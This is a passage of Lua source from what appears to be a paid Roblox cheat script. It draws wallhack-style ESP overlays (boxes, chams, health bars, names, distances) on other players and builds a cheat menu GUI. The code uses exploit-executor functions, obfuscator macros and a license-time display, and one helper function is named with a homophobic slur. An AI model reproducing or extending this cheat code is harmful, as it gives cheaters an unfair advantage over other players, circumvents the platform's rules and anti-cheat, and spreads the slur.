                                                local breathe_effect = math.atan(math.sin(tick() * 2)) * 2 / math.pi
                                                Chams.FillTransparency = Config.ESP.Drawing.Chams.Fill_Transparency * breathe_effect * 0.01
                                                Chams.OutlineTransparency = Config.ESP.Drawing.Chams.Outline_Transparency * breathe_effect * 0.01
                                            end
                                        end
                                    end;

                                    do -- Corner Boxes
                                        if not Config.ESP.Drawing.Boxes.Bounding.Enabled or (Config.ESP.Drawing.Boxes.Corner.Enabled and Config.ESP.Drawing.Boxes.Bounding.Enabled) then
                                            LeftTop.Visible = Config.ESP.Drawing.Boxes.Corner.Enabled
                                            LeftTop.Position = UDim2.new(0, Pos.X - w / 2, 0, Pos.Y - h / 2)
                                            LeftTop.Size = UDim2.new(0, w / 5, 0, 1)

                                            LeftSide.Visible = Config.ESP.Drawing.Boxes.Corner.Enabled
                                            LeftSide.Position = UDim2.new(0, Pos.X - w / 2, 0, Pos.Y - h / 2)
                                            LeftSide.Size = UDim2.new(0, 1, 0, h / 5)

                                            BottomSide.Visible = Config.ESP.Drawing.Boxes.Corner.Enabled
                                            BottomSide.Position = UDim2.new(0, Pos.X - w / 2, 0, Pos.Y + h / 2)
                                            BottomSide.Size = UDim2.new(0, 1, 0, h / 5)

                                            BottomDown.Visible = Config.ESP.Drawing.Boxes.Corner.Enabled
                                            BottomDown.Position = UDim2.new(0, Pos.X - w / 2, 0, Pos.Y + h / 2)
                                            BottomDown.Size = UDim2.new(0, w / 5, 0, 1)


                                            RightTop.Visible = Config.ESP.Drawing.Boxes.Corner.Enabled
                                            RightTop.Position = UDim2.new(0, Pos.X + w / 2, 0, Pos.Y - h / 2)
                                            RightTop.Size = UDim2.new(0, w / 5, 0, 1)

                                            RightSide.Visible = Config.ESP.Drawing.Boxes.Corner.Enabled
                                            RightSide.Position = UDim2.new(0, Pos.X + w / 2 - 1, 0, Pos.Y - h / 2)
                                            RightSide.Size = UDim2.new(0, 1, 0, h / 5)

                                            BottomRightSide.Visible = Config.ESP.Drawing.Boxes.Corner.Enabled
                                            BottomRightSide.Position = UDim2.new(0, Pos.X + w / 2, 0, Pos.Y + h / 2)
                                            BottomRightSide.Size = UDim2.new(0, 1, 0, h / 5)

                                            BottomRightDown.Visible = Config.ESP.Drawing.Boxes.Corner.Enabled
                                            BottomRightDown.Position = UDim2.new(0, Pos.X + w / 2, 0, Pos.Y + h / 2)
                                            BottomRightDown.Size = UDim2.new(0, w / 5, 0, 1)
                                        end
                                    end

                                    do -- // Bounding Boxes
                                        if not Config.ESP.Drawing.Boxes.Corner.Enabled then
                                            LeftTop.Visible = Config.ESP.Drawing.Boxes.Bounding.Enabled
                                            LeftTop.Position = UDim2.new(0, Pos.X - w / 2, 0, Pos.Y - h / 2)
                                            LeftTop.Size = UDim2.new(0, w, 0, 1)


                                            LeftSide.Visible = Config.ESP.Drawing.Boxes.Bounding.Enabled
                                            LeftSide.Position = UDim2.new(0, Pos.X - w / 2, 0, Pos.Y - h / 2)
                                            LeftSide.Size = UDim2.new(0, 1, 0, h)


                                            BottomSide.Visible = Config.ESP.Drawing.Boxes.Bounding.Enabled
                                            BottomSide.Position = UDim2.new(0, Pos.X - w / 2, 0, Pos.Y + h / 2)
                                            BottomSide.Size = UDim2.new(0, w, 0, 1) 


                                            RightSide.Visible = Config.ESP.Drawing.Boxes.Bounding.Enabled 
                                            RightSide.Position = UDim2.new(0, Pos.X + w / 2 - 1, 0, Pos.Y - h / 2)
                                            RightSide.Size = UDim2.new(0, 1, 0, h) 

                                            BottomRightSide.Visible = false
                                            BottomRightDown.Visible = false
                                            BottomDown.Visible = false
                                            RightTop.Visible = false
                                        end
                                    end

                                    do -- Boxes
                                        Box.Position = UDim2.new(0, Pos.X - w / 2, 0, Pos.Y - h / 2)
                                        Box.Size = UDim2.new(0, w, 0, h)
                                        Box.Visible = Config.ESP.Drawing.Boxes.Full.Enabled

                                        -- Animation
                                        if Config.ESP.Drawing.Boxes.Animate then
                                            RotationAngle = RotationAngle + (tick() - Tick) * Config.ESP.Drawing.Boxes.RotationSpeed * math.cos(math.pi / 4 * tick() - math.pi / 2)
                                            Gradient1.Rotation = RotationAngle
                                            Gradient2.Rotation = RotationAngle
                                        end

                                        
                                        Tick = tick()
                                    end

                                    -- Healthbar
                                    do  
                                        

                                            local is_inf = false

                                            if Humanoid.Health ~= Humanoid.Health then
                                                health = 1;
                                                is_inf = true;
                                            end

                                            Healthbar.Position = UDim2.new(0, Pos.X - w / 2 - 6, 0, Pos.Y - h / 2 + h * (1 - health))
                                            Healthbar.Size = UDim2.new(0, Config.ESP.Drawing.Healthbar.Width, 0, h * health)

                                            Healthbar.BackgroundTransparency = Config.ESP.Drawing.Healthbar.Transparency

                                            BehindHealthbar.Position = UDim2.new(0, Pos.X - w / 2 - 6, 0, Pos.Y - h / 2) 
                                            BehindHealthbar.Size = UDim2.new(0, Config.ESP.Drawing.Healthbar.Width, 0, h) 
                                            BehindHealthbar.BackgroundTransparency = Config.ESP.Drawing.Healthbar.Transparency


                                            HealthbarGradient.Enabled = Config.ESP.Drawing.Healthbar.Gradient
                                            HealthbarGradient.Color = ColorSequence.new{
                                                ColorSequenceKeypoint.new(0, Config.ESP.Drawing.Healthbar.GradientRGB1),
                                                ColorSequenceKeypoint.new(1, Config.ESP.Drawing.Healthbar.GradientRGB2)
                                            }

                                            HealthbarGradient.Offset = Vector2.new(0, health - 1)

                                            local color = getHealthColor(health_clamped , Humanoid.MaxHealth)
                                            local healthtexttext = tostring(math.floor(health_clamped))

                                            if is_inf then
                                                healthtexttext = "inf"

                                                color = getHealthColor(Humanoid.MaxHealth, Humanoid.MaxHealth)
                                            end

                                            Healthbar.BackgroundColor3 = not Config.ESP.Drawing.Healthbar.Gradient and color or Color3.new(1,1,1)
                                            -- Health Text

                                            Healthbar.Visible = Config.ESP.Drawing.Healthbar.Enabled
                                            BehindHealthbar.Visible = Config.ESP.Drawing.Healthbar.Enabled

                                            do
                                                if Config.ESP.Drawing.Healthbar.HealthText then
                                                    local healthPercentage = math.floor(health_clamped / Humanoid.MaxHealth * 100)

                                                    if is_inf then
                                                        healthPercentage = 100
                                                    end

                                                    HealthText.Position = UDim2.new(0, Pos.X - w / 2 - 18 --[[6]], 0, Pos.Y - h / 2 + h * (1 - healthPercentage / 100) + 3)
                                                    HealthText.Text = healthtexttext
                                                    HealthText.TextSize = Config.ESP.FontSize
                                                    --HealthText.Font = Config.ESP.Font
                                                    HealthText.Visible = Config.ESP.Drawing.Healthbar.HealthText
                                                    HealthText.TextStrokeTransparency = Config.ESP.Drawing.Healthbar.HealthTextTransparency
                                                    if Config.ESP.Drawing.Healthbar.Lerp then
                                                        HealthText.TextColor3 = color
                                                    else
                                                        HealthText.TextColor3 = Config.ESP.Drawing.Healthbar.HealthTextRGB
                                                    end
                                                else
                                                    HealthText.Visible = false
                                                end
                                            end
                                    end

                                    do -- Names
                                            Name.Visible = Config.ESP.Drawing.Names.Enabled
                                            Name.Text = plr.Name
                                            if Config.ESP.Options.Friendcheck and lplayer:IsFriendsWith(plr.UserId) then
                                                Name.Text = string.format('(<font color="rgb(%d, %d, %d)">F</font>) %s', Config.ESP.Options.FriendcheckRGB.R * 255, Config.ESP.Options.FriendcheckRGB.G * 255, Config.ESP.Options.FriendcheckRGB.B * 255, plr.Name)
                                            end
                                            Name.Position = UDim2.new(0, Pos.X, 0, Pos.Y - h / 2 - 9)
                                    end
                                    
                                    do -- Distance
                                            if Config.ESP.Drawing.Distances.Enabled then
                                                Weapon.Position = UDim2.new(0, Pos.X, 0, Pos.Y + h / 2 + 7)

                                                --WeaponIcon.Position = UDim2.new(0, Pos.X - 21, 0, Pos.Y + h / 2 + 15);
                                                Distance.Position = UDim2.new(0, Pos.X, 0, Pos.Y + h / 2 + (Weapon.Visible and 18 or 7))
                                                Distance.Text = string.format("%d Studs", math.floor(Dist))

                                                Distance.Visible = true
                                                --Distance.Font = Config.ESP.Font
                                            else
                                                Weapon.Position = UDim2.new(0, Pos.X, 0, Pos.Y + h / 2 + 8)
                                                Distance.Visible = false;
                                            end
                                    end

                                    do -- Weapons
                                            Weapon.Visible = Config.ESP.Drawing.Weapons.Enabled
                                            --Weapon.Font = Config.ESP.Font
                                    end
                                else
                                    HideESP();
                                end
                            else
                                HideESP();
                            end
                        else
                            HideESP();
                        end
                    else
                        HideESP();
                    end
                end))
            end
            coroutine.wrap(Updater)();
            end))
        end
        do -- Update ESP
            for _, v in pairs(Players:GetPlayers()) do
                if v ~= lplayer then
                    coroutine.wrap(ESP)(v)
                end
            end
            --
            Players.PlayerAdded:Connect(function(v)
                coroutine.wrap(ESP)(v)
            end);

            Players.PlayerRemoving:Connect(function(v)
                if Players_ESP[v.Name] then
                    Players_ESP[v.Name].RefreshElements = nil
                    Players_ESP[v.Name].CharacterAdded:Disconnect()
                    Players_ESP[v.Name].CharacterAdded = nil
                    Players_ESP[v.Name].ToolConnection_Added:Disconnect()
                    Players_ESP[v.Name].ToolConnection_Removed:Disconnect()
                    Players_ESP[v.Name].ToolConnection_Removed = nil
                    Players_ESP[v.Name].ToolConnection_Added = nil
                    Players_ESP[v.Name] = nil
                end 
            end)
        end;
    end;
end

if not Mobile then
--LPH_JIT_MAX(function()
    local uis = Services.UserInputService
    local players = Services.Players
    local ws = Services.Workspace
    local rs = Services.ReplicatedStorage
    local http_service = Services.HttpService
    local gui_service = Services.GuiService
    local lighting = Services.Lighting
    local run = Services.RunService
    local stats = Services.Stats
    local coregui = Services.CoreGui
    local debris = Services.Debris
    local tween_service = Services.TweenService
    local sound_service = Services.SoundService
    local run_service = Services.RunService


    local vec2 = Vector2.new
    local vec3 = Vector3.new
    local dim2 = UDim2.new
    local dim = UDim.new 
    local rect = Rect.new
    local cfr = CFrame.new
    local empty_cfr = cfr()
    local point_object_space = empty_cfr.PointToObjectSpace
    local angle = CFrame.Angles
    local dim_offset = UDim2.fromOffset

    local color = Color3.new
    local rgb = Color3.fromRGB
    local hex = Color3.fromHex
    local hsv = Color3.fromHSV
    local rgbseq = ColorSequence.new
    local rgbkey = ColorSequenceKeypoint.new
    local numseq = NumberSequence.new
    local numkey = NumberSequenceKeypoint.new

    local camera = ws.CurrentCamera
    local lp = players.LocalPlayer 
    local mouse = lp:GetMouse() 
    local gui_offset = gui_service:GetGuiInset().Y

    local max = math.max 
    local floor = math.floor 
    local min = math.min 
    local abs = math.abs 
    local noise = math.noise
    local rad = math.rad 
    local random = math.random 
    local pow = math.pow 
    local sin = math.sin 
    local pi = math.pi 
    local tan = math.tan 
    local atan2 = math.atan2 
    local clamp = math.clamp 

    local insert = table.insert 
    local find = table.find 
    local remove = table.remove
    local concat = table.concat
-- 

-- Library init
    local themes = {
        preset = {
            accent = rgb(0, 162, 255),
        }, 

        utility = {
            accent = {
                BackgroundColor3 = {}, 	
                TextColor3 = {}, 
                ImageColor3 = {}, 
                ScrollBarImageColor3 = {} 
            },
        }
    }

    local keys = {
        [Enum.KeyCode.LeftShift] = "LS",
        [Enum.KeyCode.RightShift] = "RS",
        [Enum.KeyCode.LeftControl] = "LC",
        [Enum.KeyCode.RightControl] = "RC",
        [Enum.KeyCode.Insert] = "INS",
        [Enum.KeyCode.Backspace] = "BS",
        [Enum.KeyCode.Return] = "Ent",
        [Enum.KeyCode.LeftAlt] = "LA",
        [Enum.KeyCode.RightAlt] = "RA",
        [Enum.KeyCode.CapsLock] = "CAPS",
        [Enum.KeyCode.One] = "1",
        [Enum.KeyCode.Two] = "2",
        [Enum.KeyCode.Three] = "3",
        [Enum.KeyCode.Four] = "4",
        [Enum.KeyCode.Five] = "5",
        [Enum.KeyCode.Six] = "6",
        [Enum.KeyCode.Seven] = "7",
        [Enum.KeyCode.Eight] = "8",
        [Enum.KeyCode.Nine] = "9",
        [Enum.KeyCode.Zero] = "0",
        [Enum.KeyCode.KeypadOne] = "Num1",
        [Enum.KeyCode.KeypadTwo] = "Num2",
        [Enum.KeyCode.KeypadThree] = "Num3",
        [Enum.KeyCode.KeypadFour] = "Num4",
        [Enum.KeyCode.KeypadFive] = "Num5",
        [Enum.KeyCode.KeypadSix] = "Num6",
        [Enum.KeyCode.KeypadSeven] = "Num7",
        [Enum.KeyCode.KeypadEight] = "Num8",
        [Enum.KeyCode.KeypadNine] = "Num9",
        [Enum.KeyCode.KeypadZero] = "Num0",
        [Enum.KeyCode.Minus] = "-",
        [Enum.KeyCode.Equals] = "=",
        [Enum.KeyCode.Tilde] = "~",
        [Enum.KeyCode.LeftBracket] = "[",
        [Enum.KeyCode.RightBracket] = "]",
        [Enum.KeyCode.RightParenthesis] = ")",
        [Enum.KeyCode.LeftParenthesis] = "(",
        [Enum.KeyCode.Semicolon] = ",",
        [Enum.KeyCode.Quote] = "'",
        [Enum.KeyCode.BackSlash] = "\\",
        [Enum.KeyCode.Comma] = ",",
        [Enum.KeyCode.Period] = ".",
        [Enum.KeyCode.Slash] = "/",
        [Enum.KeyCode.Asterisk] = "*",
        [Enum.KeyCode.Plus] = "+",
        [Enum.KeyCode.Period] = ".",
        [Enum.KeyCode.Backquote] = "`",
        [Enum.UserInputType.MouseButton1] = "MB1",
        [Enum.UserInputType.MouseButton2] = "MB2",
        [Enum.UserInputType.MouseButton3] = "MB3",
        [Enum.KeyCode.Escape] = "ESC",
        [Enum.KeyCode.Space] = "SPC",
        [Enum.KeyCode.End] = "END",
    }
        
    library.__index = library

    local flags = library.flags 
    local config_flags = library.config_flags
    local notifications = library.notifications 

    local fonts = {}; do
        function Register_Font(Name, Weight, Style, Asset)
            if not isfile(Asset.Id) then
                writefile(Asset.Id, Asset.Font)
            end

            if isfile(Name .. ".font") then
                delfile(Name .. ".font")
            end

            local Data = {
                name = Name,
                faces = {
                    {
                        name = "Normal",
                        weight = Weight,
                        style = Style,
                        assetId = getcustomasset(Asset.Id),
                    },
                },
            }

            writefile(Name .. ".font", http_service:JSONEncode(Data))

            return getcustomasset(Name .. ".font");
        end
        
        local Medium = Register_Font("Medium", 200, "Normal", {
            Id = "Medium.ttf",
            Font = game:HttpGet("https://github.com/i77lhm/storage/raw/refs/heads/main/fonts/Inter_28pt-Medium.ttf"),
        })

        local SemiBold = Register_Font("SemiBold", 200, "Normal", {
            Id = "SemiBold.ttf",
            Font = game:HttpGet("https://github.com/i77lhm/storage/raw/refs/heads/main/fonts/Inter_28pt-SemiBold.ttf"),
        })

        fonts = {
            small = Font.new(Medium, Enum.FontWeight.Regular, Enum.FontStyle.Normal);
            font = Font.new(SemiBold, Enum.FontWeight.Regular, Enum.FontStyle.Normal);
        }
    end
--

-- Library functions 
    -- Misc functions
        function library:tween(obj, properties, easing_style, time) 
            local tween = tween_service:Create(obj, TweenInfo.new(time or 0.25, easing_style or Enum.EasingStyle.Quint, Enum.EasingDirection.InOut, 0, false, 0), properties):Play()
                
            return tween
        end

        function library:resizify(frame) 
            local Frame = Instance.new("TextButton")
            Frame.Position = dim2(1, -10, 1, -10)
            Frame.BorderColor3 = rgb(0, 0, 0)
            Frame.Size = dim2(0, 10, 0, 10)
            Frame.BorderSizePixel = 0
            Frame.BackgroundColor3 = rgb(255, 255, 255)
            Frame.Parent = frame
            Frame.BackgroundTransparency = 1 
            Frame.Text = ""

            local resizing = false 
            local start_size 
            local start 
            local og_size = frame.Size  

            Frame.InputBegan:Connect(function(input)
                if input.UserInputType == Enum.UserInputType.MouseButton1 then
                    resizing = true
                    start = input.Position
                    start_size = frame.Size
                end
            end)

            Frame.InputEnded:Connect(function(input)
                if input.UserInputType == Enum.UserInputType.MouseButton1 then
                    resizing = false
                end
            end)

            library:connection(uis.InputChanged, function(input, game_event) 
                if resizing and input.UserInputType == Enum.UserInputType.MouseMovement then
                    local viewport_x = camera.ViewportSize.X
                    local viewport_y = camera.ViewportSize.Y

                    local current_size = dim2(
                        start_size.X.Scale,
                        math.clamp(
                            start_size.X.Offset + (input.Position.X - start.X),
                            og_size.X.Offset,
                            viewport_x
                        ),
                        start_size.Y.Scale,
                        math.clamp(
                            start_size.Y.Offset + (input.Position.Y - start.Y),
                            og_size.Y.Offset,
                            viewport_y
                        )
                    )

                    library:tween(frame, {Size = current_size}, Enum.EasingStyle.Linear, 0.05)
                end
            end)
        end 

        function fag(tbl)
            local Size = 0
            
            for _ in tbl do
                Size = Size + 1
            end
        
            return Size
        end
        
        function library:next_flag()
            local index = fag(library.flags) + 1;
            local str = string.format("flagnumber%s", index)
            
            return str;
        end 

        function library:mouse_in_frame(uiobject)
            local y_cond = uiobject.AbsolutePosition.Y <= mouse.Y and mouse.Y <= uiobject.AbsolutePosition.Y + uiobject.AbsoluteSize.Y
            local x_cond = uiobject.AbsolutePosition.X <= mouse.X and mouse.X <= uiobject.AbsolutePosition.X + uiobject.AbsoluteSize.X

            return (y_cond and x_cond)
        end

        function library:draggify(frame)
            local dragging = false 
            local start_size = frame.Position
            local start 

            frame.InputBegan:Connect(LPH_NO_VIRTUALIZE(function(input)
                if input.UserInputType == Enum.UserInputType.MouseButton1 then
                    dragging = true
                    start = input.Position
                    start_size = frame.Position
                end
            end))

            frame.InputEnded:Connect(LPH_NO_VIRTUALIZE(function(input)
                if input.UserInputType == Enum.UserInputType.MouseButton1 then
                    dragging = false
                end
            end))

            library:connection(uis.InputChanged, LPH_NO_VIRTUALIZE(function(input, game_event) 
                if dragging and input.UserInputType == Enum.UserInputType.MouseMovement then
                    local viewport_x = camera.ViewportSize.X
                    local viewport_y = camera.ViewportSize.Y

                    local current_position = dim2(
                        0,
                        clamp(
                            start_size.X.Offset + (input.Position.X - start.X),
                            0,
                            viewport_x - frame.Size.X.Offset
                        ),
                        0,
                        math.clamp(
                            start_size.Y.Offset + (input.Position.Y - start.Y),
                            0,
                            viewport_y - frame.Size.Y.Offset
                        )
                    )

                    library:tween(frame, {Position = current_position}, Enum.EasingStyle.Linear, 0.05)
                    library:close_element()
                end
            end))
        end 

        function library:convert(str)
            local values = {}

            for value in string.gmatch(str, "[^,]+") do
                insert(values, tonumber(value))
            end
            
            if #values == 4 then              
                return unpack(values)
            else 
                return
            end
        end
        
        function library:convert_enum(enum)
            local enum_parts = {}
        
            for part in string.gmatch(enum, "[%w_]+") do
                insert(enum_parts, part)
            end
        
            local enum_table = Enum
            for i = 2, #enum_parts do
                local enum_item = enum_table[enum_parts[i]]
        
                enum_table = enum_item
            end
        
            return enum_table
        end

        local config_holder;
        function library:update_config_list() 
            if not config_holder then 
                return 
            end
            
            local list = {}
            
            for idx, file in listfiles(library.directory .. "/configs") do
                local name = file:gsub(library.directory .. "/configs\\", ""):gsub(".cfg", ""):gsub(library.directory .. "\\configs\\", "")
                list[#list + 1] = name
            end

            config_holder.refresh_options(list)
        end 

        function library:get_config()
            local Config = {}
            
            for _, v in next, flags do
                if type(v) == "table" and v.key then
                    Config[_] = {active = v.active, mode = v.mode, key = tostring(v.key)}
                elseif type(v) == "table" and v["Transparency"] and v["Color"] then
                    Config[_] = {Transparency = v["Transparency"], Color = v["Color"]:ToHex()}
                else
                    Config[_] = v
                end
            end 
            
            return http_service:JSONEncode(Config)
        end

        function library:load_config(config_json) 
            local config = http_service:JSONDecode(config_json)
            
            for _, v in config do 
                local function_set = library.config_flags[_]
                
                if _ == "config_name_list" then 
                    continue 
                end

                if function_set then 
                    if type(v) == "table" and v["Transparency"] and v["Color"] then
                        function_set(hex(v["Color"]), v["Transparency"])
                    elseif type(v) == "table" and v["active"] then 
                        function_set(v)
                    else
                        function_set(v)
                    end
                end 
            end 
        end 
        
        function library:round(number, float) 
            local multiplier = 1 / (float or 1)

            return floor(number * multiplier + 0.5) / multiplier
        end 

        function library:apply_theme(instance, theme, property) 
            insert(themes.utility[theme][property], instance)
        end

        function library:update_theme(theme, color)
            for _, property in themes.utility[theme] do 

                for m, object in property do 
                    if object[_] == themes.preset[theme] then 
                        object[_] = color 
                    end 
                end 
            end 

            themes.preset[theme] = color 
        end 

        function library:connection(signal, callback)
            local connection = signal:Connect(callback)
            
            insert(library.connections, connection)

            return connection 
        end

        function library:close_element(new_path) 
            local open_element = library.current_open

            if open_element and new_path ~= open_element then
                open_element.set_visible(false)
                open_element.open = false;
            end 

            if new_path ~= open_element then 
                library.current_open = new_path or nil;
            end
        end 

        function library:create(instance, options)
            local ins = Instance.new(instance) 
            
            for prop, value in options do 
                ins[prop] = value
            end
            
            return ins 
        end

        function library:unload_menu() 
            if library[ "items" ] then 
                library[ "items" ]:Destroy()
            end

            if library[ "other" ] then 
                library[ "other" ]:Destroy()
            end 
            
            for index, connection in library.connections do 
                connection:Disconnect() 
                connection = nil 
            end
            
            library = nil 
        end 
    --
        --[[local cursor_screengui = library:create("ScreenGui", {
            ResetOnSpawn = false,
            ZIndexBehavior = Enum.ZIndexBehavior.Global,
            Name = "error - stack",
            IgnoreGuiInset = true,
            DisplayOrder = 9999,
            Parent = gethui()
        })

        local cursor_image = library:create("ImageLabel", {
            Name = "Cursor",
            BackgroundTransparency = 1,
            Size = UDim2.new(0, 34, 0, 34),
            Image = GetImage('cursor.png'),
            ZIndex = 6969,
            Parent = cursor_screengui
        })

        run_service.PreRender:Connect(LPH_NO_VIRTUALIZE(function()
            local mouseloc = uis:GetMouseLocation()
            cursor_image.Position = UDim2.new(0, mouseloc.X , 0, mouseloc.Y)
        end))]]
    
    -- Library element functions
        function library:window(properties)
            local cfg = { 
                suffix = properties.suffix or properties.Suffix or "tech";
                name = properties.name or properties.Name or "nebula";
                game_name = properties.gameInfo or properties.game_info or properties.GameInfo or "Milenium for Counter-Strike: Global Offensive";
                size = properties.size or properties.Size or dim2(0, 700, 0, 565);
                selected_tab;
                items = {};

                tween;
            }
            
            library[ "items" ] = library:create( "ScreenGui" , {
                Parent = gethui();
                Name = "\0";
                Enabled = true;
                ZIndexBehavior = Enum.ZIndexBehavior.Global;
                IgnoreGuiInset = true;
            });
            
            library[ "other" ] = library:create( "ScreenGui" , {
                Parent = gethui();
                Name = "\0";
                Enabled = false;
                ZIndexBehavior = Enum.ZIndexBehavior.Sibling;
                IgnoreGuiInset = true;
            }); 

            -- IF SHIT HAPPEN REMVOE ZINDEX

            local items = cfg.items; do
                items[ "main" ] = library:create( "Frame" , {
                    Parent = library[ "items" ];
                    Size = cfg.size;
                    Name = "\0";
                    Position = dim2(0.5, -cfg.size.X.Offset / 2, 0.5, -cfg.size.Y.Offset / 2);
                    BorderColor3 = rgb(0, 0, 0);
                    BorderSizePixel = 0;
                    BackgroundColor3 = rgb(14, 14, 16),
                }); items[ "main" ].Position = dim2(0, items[ "main" ].AbsolutePosition.X, 0, items[ "main" ].AbsolutePosition.Y)
                
                library:create( "UICorner" , {
                    Parent = items[ "main" ];
                    CornerRadius = dim(0, 10)
                });
                
                library:create( "UIStroke" , {
                    Color = rgb(23, 23, 29);
                    Parent = items[ "main" ];
                    ApplyStrokeMode = Enum.ApplyStrokeMode.Border
                });
                
                items[ "side_frame" ] = library:create( "Frame" , {
                    Parent = items[ "main" ];
                    BackgroundTransparency = 1;
                    Name = "\0";
                    BorderColor3 = rgb(0, 0, 0);
                    Size = dim2(0, 196, 1, -25);
                    BorderSizePixel = 0;
                    BackgroundColor3 = rgb(14, 14, 16)
                });
                
                library:create( "Frame" , {
                    AnchorPoint = vec2(1, 0);
                    Parent = items[ "side_frame" ];
                    Position = dim2(1, 0, 0, 0);
                    BorderColor3 = rgb(0, 0, 0);
                    Size = dim2(0, 1, 1, 0);
                    BorderSizePixel = 0;
                    BackgroundColor3 = rgb(21, 21, 23)
                });
                
                items[ "button_holder" ] = library:create( "Frame" , {
                    Parent = items[ "side_frame" ];
                    Name = "\0";
                    BackgroundTransparency = 1;
                    Position = dim2(0, 0, 0, 60);
                    BorderColor3 = rgb(0, 0, 0);
                    Size = dim2(1, 0, 1, -60);
                    BorderSizePixel = 0;
                    BackgroundColor3 = rgb(255, 255, 255)
                }); cfg.button_holder = items[ "button_holder" ];
                
                library:create( "UIListLayout" , {
                    Parent = items[ "button_holder" ];
                    Padding = dim(0, 5);
                    SortOrder = Enum.SortOrder.LayoutOrder
                });
                
                library:create( "UIPadding" , {
                    PaddingTop = dim(0, 16);
                    PaddingBottom = dim(0, 36);
                    Parent = items[ "button_holder" ];
                    PaddingRight = dim(0, 11);
                    PaddingLeft = dim(0, 10)
                });

                local accent = themes.preset.accent
                items[ "title" ] = library:create( "TextLabel" , {
                    FontFace = fonts.font;
                    BorderColor3 = rgb(0, 0, 0);
                    Text = name;
                    Parent = items[ "side_frame" ];
                    Name = "\0";
                    Text = string.format('<u>%s</u><font color = "rgb(255, 255, 255)">%s</font>', cfg.name, cfg.suffix);
                    BackgroundTransparency = 1;
                    Size = dim2(1, 0, 0, 70);
                    TextColor3 = themes.preset.accent;
                    BorderSizePixel = 0;
                    RichText = true;
                    TextSize = 30;
                    BackgroundColor3 = rgb(255, 255, 255)
                }); library:apply_theme(items[ "title" ], "accent", "TextColor3");
                
                items[ "multi_holder" ] = library:create( "Frame" , {
                    Parent = items[ "main" ];
                    Name = "\0";
                    BackgroundTransparency = 1;
                    Position = dim2(0, 196, 0, 0);
                    BorderColor3 = rgb(0, 0, 0);
                    Size = dim2(1, -196, 0, 56);
                    BorderSizePixel = 0;
                    BackgroundColor3 = rgb(255, 255, 255)
                }); cfg.multi_holder = items[ "multi_holder" ];
                
                library:create( "Frame" , {
                    AnchorPoint = vec2(0, 1);
                    Parent = items[ "multi_holder" ];
                    Position = dim2(0, 0, 1, 0);
                    BorderColor3 = rgb(0, 0, 0);
                    Size = dim2(1, 0, 0, 1);
                    BorderSizePixel = 0;
                    BackgroundColor3 = rgb(21, 21, 23)
                });
                
                items[ "shadow" ] = library:create( "ImageLabel" , {
                    ImageColor3 = rgb(0, 0, 0);
                    ScaleType = Enum.ScaleType.Slice;
                    Parent = items[ "main" ];
                    BorderColor3 = rgb(0, 0, 0);
                    Name = "\0";
                    BackgroundColor3 = rgb(255, 255, 255);
                    Size = dim2(1, 75, 1, 75);
                    AnchorPoint = vec2(0.5, 0.5);
                    Image = "rbxassetid://112971167999062";
                    BackgroundTransparency = 1;
                    Position = dim2(0.5, 0, 0.5, 0);
                    SliceScale = 0.75;
                    ZIndex = -100;
                    BorderSizePixel = 0;
                    SliceCenter = rect(vec2(112, 112), vec2(147, 147))
                });
                
                items[ "global_fade" ] = library:create( "Frame" , {
                    Parent = items[ "main" ];
                    Name = "\0";
                    BackgroundTransparency = 1;
                    Position = dim2(0, 196, 0, 56);
                    BorderColor3 = rgb(0, 0, 0);
                    Size = dim2(1, -196, 1, -81);
                    BorderSizePixel = 0;
                    BackgroundColor3 = rgb(14, 14, 16);
                    ZIndex = 2;
                });                

                library:create( "UICorner" , {
                    Parent = items[ "shadow" ];
                    CornerRadius = dim(0, 5)
                });
                
                items[ "info" ] = library:create( "Frame" , {
                    AnchorPoint = vec2(0, 1);
                    Parent = items[ "main" ];
                    Name = "\0";
                    Position = dim2(0, 0, 1, 0);
                    BorderColor3 = rgb(0, 0, 0);
                    Size = dim2(1, 0, 0, 25);
                    BorderSizePixel = 0;
                    BackgroundColor3 = rgb(23, 23, 25)
                });
                
                library:create( "UICorner" , {
                    Parent = items[ "info" ];
                    CornerRadius = dim(0, 10)
                });
                
                items[ "grey_fill" ] = library:create( "Frame" , {
                    Name = "\0";
                    Parent = items[ "info" ];
                    BorderColor3 = rgb(0, 0, 0);
                    Size = dim2(1, 0, 0, 6);
                    BorderSizePixel = 0;
                    BackgroundColor3 = rgb(23, 23, 25)
                });
                
                items[ "game" ] = library:create( "TextLabel" , {
                    FontFace = fonts.font;
                    Parent = items[ "info" ];
                    TextColor3 = rgb(72, 72, 73);
                    BorderColor3 = rgb(0, 0, 0);
                    Text = cfg.game_name;
                    Name = "\0";
                    Size = dim2(1, 0, 0, 0);
                    AnchorPoint = vec2(0, 0.5);
                    Position = dim2(0, 10, 0.5, -1);
                    BackgroundTransparency = 1;
                    TextXAlignment = Enum.TextXAlignment.Left;
                    BorderSizePixel = 0;
                    AutomaticSize = Enum.AutomaticSize.XY;
                    TextSize = 14;
                    BackgroundColor3 = rgb(255, 255, 255)
                }); 
                              
                if not LRM_SecondsLeft then
                    LRM_SecondsLeft = math.huge
                end

                local time_left = tostring((LRM_SecondsLeft < math.huge and ""..tostring(math.floor(((LRM_SecondsLeft / 60) / 60) / 24)).." days" or LRM_SecondsLeft == math.huge and "lifetime"))

                items[ "other_info" ] = library:create( "TextLabel" , {
                    Parent = items[ "info" ];
                    RichText = true;
                    Name = "\0";
                    TextColor3 = themes.preset.accent;
                    BorderColor3 = rgb(0, 0, 0);
                    Text = '<font color="rgb(72, 72, 73)">'..time_left..', </font>' .. cfg.name:lower() .. cfg.suffix:lower();
                    Size = dim2(1, 0, 0, 0);
                    Position = dim2(0, -10, 0.5, -1);
                    AnchorPoint = vec2(0, 0.5);
                    BorderSizePixel = 0;
                    BackgroundTransparency = 1;
                    TextXAlignment = Enum.TextXAlignment.Right;
                    AutomaticSize = Enum.AutomaticSize.XY;
                    FontFace = fonts.font;
                    TextSize = 14;
                    BackgroundColor3 = rgb(255, 255, 255)
                }); library:apply_theme(items[ "other_info" ], "accent", "TextColor3");        
            end 

            do -- Other
                library:draggify(items[ "main" ])
                library:resizify(items[ "main" ])
            end 

            function cfg.toggle_menu(bool) 
                -- WIP 
                -- if cfg.tween then 
                --     cfg.tween:Cancel()
                -- end 

                -- items[ "main" ].Size = dim2(items[ "main" ].Size.Scale.X, items[ "main" ].Size.Offset.X - 20, items[ "main" ].Size.Scale.Y, items[ "main" ].Size.Offset.Y - 20)
                -- library:tween(items[ "tab_holder" ], {Size = dim2(1, -196, 1, -81)}, Enum.EasingStyle.Quad, 0.4)
                -- cfg.tween = 
                --cursor_image.Visible = bool
                --uis.MouseIconEnabled = not bool
